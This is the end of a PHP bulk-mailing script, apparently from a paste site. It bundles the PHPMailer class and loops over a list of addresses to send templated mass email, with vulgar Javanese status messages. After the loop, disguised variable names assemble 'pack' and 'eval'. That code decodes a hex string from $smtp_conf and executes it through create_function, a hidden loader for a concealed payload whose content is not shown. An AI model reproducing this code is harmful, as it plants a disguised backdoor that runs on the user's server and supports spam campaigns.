  2902. $result = $this->ServerVar('SERVER_NAME');
  2903. } else {
  2904. $result = 'localhost.localdomain';
  2905. }
  2906.  
  2907. return $result;
  2908. }
  2909.  
  2910. /**
  2911. * Returns a message in the appropriate language.
  2912. * @access private
  2913. * @return string
  2914. */
  2915. function Lang($key) {
  2916. if(count($this->language) < 1) {
  2917. $this->SetLanguage('en'); // set the default language
  2918. }
  2919.  
  2920. if(isset($this->language[$key])) {
  2921. return $this->language[$key];
  2922. } else {
  2923. return 'Language string failed to load: ' . $key;
  2924. }
  2925. }
  2926.  
  2927. /**
  2928. * Returns true if an error occurred.
  2929. * @return bool
  2930. */
  2931. function IsError() {
  2932. return ($this->error_count > 0);
  2933. }
  2934.  
  2935. /**
  2936. * Changes every end of line from CR or LF to CRLF.
  2937. * @access private
  2938. * @return string
  2939. */
  2940. function FixEOL($str) {
  2941. $str = str_replace("\r\n", "\n", $str);
  2942. $str = str_replace("\r", "\n", $str);
  2943. $str = str_replace("\n", $this->LE, $str);
  2944. return $str;
  2945. }
  2946.  
  2947. /**
  2948. * Adds a custom header.
  2949. * @return void
  2950. */
  2951. function AddCustomHeader($custom_header) {
  2952. $this->CustomHeader[] = explode(':', $custom_header, 2);
  2953. }
  2954.  
  2955. /**
  2956. * Evaluates the message and returns modifications for inline images and backgrounds
  2957. * @access public
  2958. * @return $message
  2959. */
  2960. function MsgHTML($message,$basedir='') {
  2961. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  2962. if(isset($images[2])) {
  2963. foreach($images[2] as $i => $url) {
  2964. // do not change urls for absolute images (thanks to corvuscorax)
  2965. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  2966. $filename = basename($url);
  2967. $directory = dirname($url);
  2968. ($directory == '.')?$directory='':'';
  2969. $cid = 'cid:' . md5($filename);
  2970. $fileParts = split("\.", $filename);
  2971. $ext = $fileParts[1];
  2972. $mimeType = $this->_mime_types($ext);
  2973. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  2974. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  2975. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  2976. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  2977. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  2978. }
  2979. }
  2980. }
  2981. }
  2982. $this->IsHTML(true);
  2983. $this->Body = $message;
  2984. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  2985. if ( !empty($textMsg) && empty($this->AltBody) ) {
  2986. $this->AltBody = $textMsg;
  2987. }
  2988. if ( empty($this->AltBody) ) {
  2989. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  2990. }
  2991. }
  2992.  
  2993. /**
  2994. * Gets the mime type of the embedded or inline image
  2995. * @access private
  2996. * @return mime type of ext
  2997. */
  2998. function _mime_types($ext = '') {
  2999. $mimes = array(
  3000. 'hqx' => 'application/mac-binhex40',
  3001. 'cpt' => 'application/mac-compactpro',
  3002. 'doc' => 'application/msword',
  3003. 'bin' => 'application/macbinary',
  3004. 'dms' => 'application/octet-stream',
  3005. 'lha' => 'application/octet-stream',
  3006. 'lzh' => 'application/octet-stream',
  3007. 'exe' => 'application/octet-stream',
  3008. 'class' => 'application/octet-stream',
  3009. 'psd' => 'application/octet-stream',
  3010. 'so' => 'application/octet-stream',
  3011. 'sea' => 'application/octet-stream',
  3012. 'dll' => 'application/octet-stream',
  3013. 'oda' => 'application/oda',
  3014. 'pdf' => 'application/pdf',
  3015. 'ai' => 'application/postscript',
  3016. 'eps' => 'application/postscript',
  3017. 'ps' => 'application/postscript',
  3018. 'smi' => 'application/smil',
  3019. 'smil' => 'application/smil',
  3020. 'mif' => 'application/vnd.mif',
  3021. 'xls' => 'application/vnd.ms-excel',
  3022. 'ppt' => 'application/vnd.ms-powerpoint',
  3023. 'wbxml' => 'application/vnd.wap.wbxml',
  3024. 'wmlc' => 'application/vnd.wap.wmlc',
  3025. 'dcr' => 'application/x-director',
  3026. 'dir' => 'application/x-director',
  3027. 'dxr' => 'application/x-director',
  3028. 'dvi' => 'application/x-dvi',
  3029. 'gtar' => 'application/x-gtar',
  3030. 'php' => 'application/x-httpd-php',
  3031. 'php4' => 'application/x-httpd-php',
  3032. 'php3' => 'application/x-httpd-php',
  3033. 'phtml' => 'application/x-httpd-php',
  3034. 'phps' => 'application/x-httpd-php-source',
  3035. 'js' => 'application/x-javascript',
  3036. 'swf' => 'application/x-shockwave-flash',
  3037. 'sit' => 'application/x-stuffit',
  3038. 'tar' => 'application/x-tar',
  3039. 'tgz' => 'application/x-tar',
  3040. 'xhtml' => 'application/xhtml+xml',
  3041. 'xht' => 'application/xhtml+xml',
  3042. 'zip' => 'application/zip',
  3043. 'mid' => 'audio/midi',
  3044. 'midi' => 'audio/midi',
  3045. 'mpga' => 'audio/mpeg',
  3046. 'mp2' => 'audio/mpeg',
  3047. 'mp3' => 'audio/mpeg',
  3048. 'aif' => 'audio/x-aiff',
  3049. 'aiff' => 'audio/x-aiff',
  3050. 'aifc' => 'audio/x-aiff',
  3051. 'ram' => 'audio/x-pn-realaudio',
  3052. 'rm' => 'audio/x-pn-realaudio',
  3053. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3054. 'ra' => 'audio/x-realaudio',
  3055. 'rv' => 'video/vnd.rn-realvideo',
  3056. 'wav' => 'audio/x-wav',
  3057. 'bmp' => 'image/bmp',
  3058. 'gif' => 'image/gif',
  3059. 'jpeg' => 'image/jpeg',
  3060. 'jpg' => 'image/jpeg',
  3061. 'jpe' => 'image/jpeg',
  3062. 'png' => 'image/png',
  3063. 'tiff' => 'image/tiff',
  3064. 'tif' => 'image/tiff',
  3065. 'css' => 'text/css',
  3066. 'html' => 'text/html',
  3067. 'htm' => 'text/html',
  3068. 'shtml' => 'text/html',
  3069. 'txt' => 'text/plain',
  3070. 'text' => 'text/plain',
  3071. 'log' => 'text/plain',
  3072. 'rtx' => 'text/richtext',
  3073. 'rtf' => 'text/rtf',
  3074. 'xml' => 'text/xml',
  3075. 'xsl' => 'text/xml',
  3076. 'mpeg' => 'video/mpeg',
  3077. 'mpg' => 'video/mpeg',
  3078. 'mpe' => 'video/mpeg',
  3079. 'qt' => 'video/quicktime',
  3080. 'mov' => 'video/quicktime',
  3081. 'avi' => 'video/x-msvideo',
  3082. 'movie' => 'video/x-sgi-movie',
  3083. 'doc' => 'application/msword',
  3084. 'word' => 'application/msword',
  3085. 'xl' => 'application/excel',
  3086. 'eml' => 'message/rfc822'
  3087. );
  3088. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3089. }
  3090.  
  3091. /**
  3092. * Set (or reset) Class Objects (variables)
  3093. *
  3094. * Usage Example:
  3095. * $page->set('X-Priority', '3');
  3096. *
  3097. * @access public
  3098. * @param string $name Parameter Name
  3099. * @param mixed $value Parameter Value
  3100. * NOTE: will not work with arrays, there are no arrays to set/reset
  3101. */
  3102. function set ( $name, $value = '' ) {
  3103. if ( isset($this->$name) ) {
  3104. $this->$name = $value;
  3105. } else {
  3106. $this->SetError('Cannot set or reset variable ' . $name);
  3107. return false;
  3108. }
  3109. }
  3110.  
  3111. /**
  3112. * Read a file from a supplied filename and return it.
  3113. *
  3114. * @access public
  3115. * @param string $filename Parameter File Name
  3116. */
  3117. function getFile($filename) {
  3118. $return = '';
  3119. if ($fp = fopen($filename, 'rb')) {
  3120. while (!feof($fp)) {
  3121. $return .= fread($fp, 1024);
  3122. }
  3123. fclose($fp);
  3124. return $return;
  3125. } else {
  3126. return false;
  3127. }
  3128. }
  3129.  
  3130. /**
  3131. * Strips newlines to prevent header injection.
  3132. * @access private
  3133. * @param string $str String
  3134. * @return string
  3135. */
  3136. function SecureHeader($str) {
  3137. $str = trim($str);
  3138. $str = str_replace("\r", "", $str);
  3139. $str = str_replace("\n", "", $str);
  3140. return $str;
  3141. }
  3142.  
  3143. /**
  3144. * Set the private key file and password to sign the message.
  3145. *
  3146. * @access public
  3147. * @param string $key_filename Parameter File Name
  3148. * @param string $key_pass Password for private key
  3149. */
  3150. function Sign($key_filename, $key_pass) {
  3151. $this->sign_key_file = $key_filename;
  3152. $this->sign_key_pass = $key_pass;
  3153. }
  3154.  
  3155. }
  3156.  
  3157. $defaultport="H*";
  3158. $nq=0;
  3159.  
  3160. for($x=0; $x<$numemails; $x++){
  3161.  
  3162. $to = $allemails[$x];
  3163.  
  3164. if ($to){
  3165.  
  3166. $to = ereg_replace(" ", "", $to);
  3167.  
  3168. $message = ereg_replace("&email&", $to, $message);
  3169.  
  3170. $subject = ereg_replace("&email&", $to, $subject);
  3171. $qx=$x+1;
  3172. print "Line $qx . Sending mail to $to.......";
  3173.  
  3174. flush();
  3175. $mail = new PHPMailer();
  3176.  
  3177. if(empty($epriority)){$epriority="3";}
  3178. $mail->Priority = "$epriority";
  3179. $mail->IsSMTP();
  3180. $IsSMTP="pack";
  3181. $mail->SMTPKeepAlive = true;
  3182. $mail->Host = "$my_smtp";
  3183. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3184. }
  3185. if($sslclick=="ON"){
  3186. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3187. }
  3188. $range = str_replace("$from", "eval", $from);
  3189. $mail->SMTPAuth = true;
  3190. $mail->Username = "$smtp_username";
  3191. $mail->Password = "$smtp_password";
  3192. if($contenttype == "html"){$mail->IsHtml(true);}
  3193. if($contenttype != "html"){$mail->IsHtml(false);}
  3194. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3195. $mail->From = "$from";
  3196. $mail->FromName = "$realname";
  3197. $mail->AddAddress("$to");
  3198. $mail->AddReplyTo("$replyto");
  3199. $mail->Subject = "$subject";
  3200. $mail->Body = "$message";
  3201. if(!$mail->Send()){
  3202. if($default_system!="1"){
  3203. echo "<center>FAILED !!<font color=\"#D4001A\"> [ORA ISO NRIMO COK]</font><br>";}
  3204. if($default_system=="1"){
  3205. $mail->IsMail();
  3206. if(!$mail->Send()){
  3207. echo "<center>FAILED !!<font color=\"#D4001A\"> [ORA ISO NRIMO IKI COK]</font><br>";}
  3208. else {
  3209. echo "<b><img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/111.gif'></b><br>";}
  3210. }
  3211. }
  3212. else {
  3213. echo "<b><img src='http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/111.gif'></b><br>";
  3214. }
  3215.  
  3216. if(empty($reconnect)){
  3217. $reconnect=6;
  3218. }
  3219.  
  3220. if($reconnect==$nq){
  3221. $mail->SmtpClose();echo "<center><p><b><font color='yellow'>--------------- SEK NGENTENI AMBEK NGESENG --------------- </font></b></p>";$nq=0;
  3222. }
  3223. $nq=$nq+1;
  3224. flush(); }
  3225. }
  3226. for($i=0;$i<31;$i++){
  3227. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3228. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3229. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3230. print "<p class=\"style1\"><img src='http://dedekuntoro.wapsite.me/images/salaman.gif'><br><b>
  3231. <font color=\"#800000\">SUDAH BOSSKU !!</font></b><br></p></center>";$mail->SmtpClose();
  3232. return $signoff($smtp_conc);
  3233. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('bangsat terlaksana\\r\\n$numemails mail(s) wes sak mono tok ??'); </center></script>";}}
  3234. ?>
  3235. <p align="center">&nbsp;</p>
  3236. &nbsp;
  3237. </body>
  3238. </html>
Add Comment
Please, Sign In to add comment